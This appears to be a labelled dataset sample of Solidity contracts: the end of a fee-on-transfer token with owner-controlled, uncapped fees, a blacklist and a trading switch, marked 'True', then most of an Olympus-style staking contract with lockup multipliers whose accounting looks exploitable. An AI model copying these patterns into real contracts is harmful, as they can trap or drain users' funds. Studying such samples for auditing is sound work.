uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cryptology is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cryptology";
string private constant _symbol = "BASE64";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x002cA07571d531e9276Cfc66dCC7f9938971cbF1);
address payable private _marketingAddress = payable(0x002cA07571d531e9276Cfc66dCC7f9938971cbF1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000064 * 10**9;
uint256 public _maxWalletSize = 10000000064 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard}
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IsSIN is IERC20 {
function rebase( uint256 sinProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance( uint amount ) external view returns ( uint );
function balanceForGons( uint gons ) external view returns ( uint );
function index() external view returns ( uint );
}
interface IWarmup {
function retrieve( address staker_, uint amount_ ) external;
}
interface IDistributor {
function distribute() external returns ( bool );
}
contract SINStaking is Ownable {
using SafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IsSIN;
IERC20 public immutable SIN;
IsSIN public immutable sSIN;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
enum LOCKUPS { NONE, MONTH1, MONTH3, MONTH6 }
struct Lockup{
uint gonsWarmup;
uint gonsAccount;
uint initialDeposit;
uint256 multiplier;
uint256 lockTimestamp;
}
mapping( address => Lockup) public lockupInfo;
uint internal month = 2629746;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (
address _SIN,
address _sSIN,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime
) {
require( _SIN != address(0) );
SIN = IERC20(_SIN);
require( _sSIN != address(0) );
sSIN = IsSIN(_sSIN);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping( address => Claim ) public warmupInfo;
/**
@notice stake SIN to enter warmup
@param _amount uint
@return bool
*/
function stake( uint _amount, address _recipient, LOCKUPS _lockup ) external returns ( bool ) {
rebase();
SIN.safeTransferFrom( msg.sender, address(this), _amount );
Claim memory info = warmupInfo[ _recipient ];
require( !info.lock, "Deposits for account are locked" );
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add( _amount ),
gons: info.gons.add( sSIN.gonsForBalance( _amount ) ),
expiry: epoch.number.add( warmupPeriod ),
lock: false
});
Lockup memory lock = lockupInfo[ _recipient ];
require(lock.multiplier == 0 || _lockup == LOCKUPS.NONE, "Account is already locked");
uint256 amountToTransfer = _amount;
if( _lockup == LOCKUPS.MONTH1 ) { // 1 - 1.25 Multiplier
lockupInfo[ _recipient ] = Lockup({
gonsWarmup: IsSIN( sSIN ).gonsForBalance( _amount.mul(25).div(100) ),
gonsAccount: IsSIN( sSIN ).gonsForBalance( _amount ),
initialDeposit: _amount,
multiplier: 125,
lockTimestamp: block.timestamp + month
});
amountToTransfer = _amount.mul(125)/100;
}
if( _lockup == LOCKUPS.MONTH3 ) { // 2 - 1.5 Multiplier
lockupInfo[ _recipient ] = Lockup({
gonsWarmup: IsSIN( sSIN ).gonsForBalance( _amount.mul(50).div(100) ),
gonsAccount: IsSIN( sSIN ).gonsForBalance( _amount ),
initialDeposit: _amount,
multiplier: 150,
lockTimestamp: block.timestamp + month*3
});
amountToTransfer = _amount.mul(150).div(100);
}
if( _lockup == LOCKUPS.MONTH6 ) { // 3 - 2 Multiplier
lockupInfo[ _recipient ] = Lockup({
gonsWarmup: IsSIN( sSIN ).gonsForBalance( _amount ),
gonsAccount: IsSIN( sSIN ).gonsForBalance( _amount ),
initialDeposit: _amount,
multiplier: 200,
lockTimestamp: block.timestamp + month*6
});
amountToTransfer = _amount*2;
}
sSIN.safeTransfer( address(warmupContract), amountToTransfer );
emit LogStake(_recipient, _amount);
return true;
}
/**
@notice retrieve sSIN from warmup
@param _recipient address
*/
function claim ( address _recipient ) external {
Claim memory info = warmupInfo[ _recipient ];
if ( epoch.number >= info.expiry && info.expiry != 0 ) {
delete warmupInfo[ _recipient ];
uint256 amount = sSIN.balanceForGons( info.gons );
warmupContract.retrieve( _recipient, amount);
emit LogClaim(_recipient, amount);
}
}
/**
@notice forfeit sSIN in warmup and retrieve SIN
*/
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sSIN.balanceForGons( info.gons );
warmupContract.retrieve( address(this), memoBalance);
SIN.safeTransfer( msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
/**
@notice prevent new deposits to address (protection from malicious activity)
*/
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
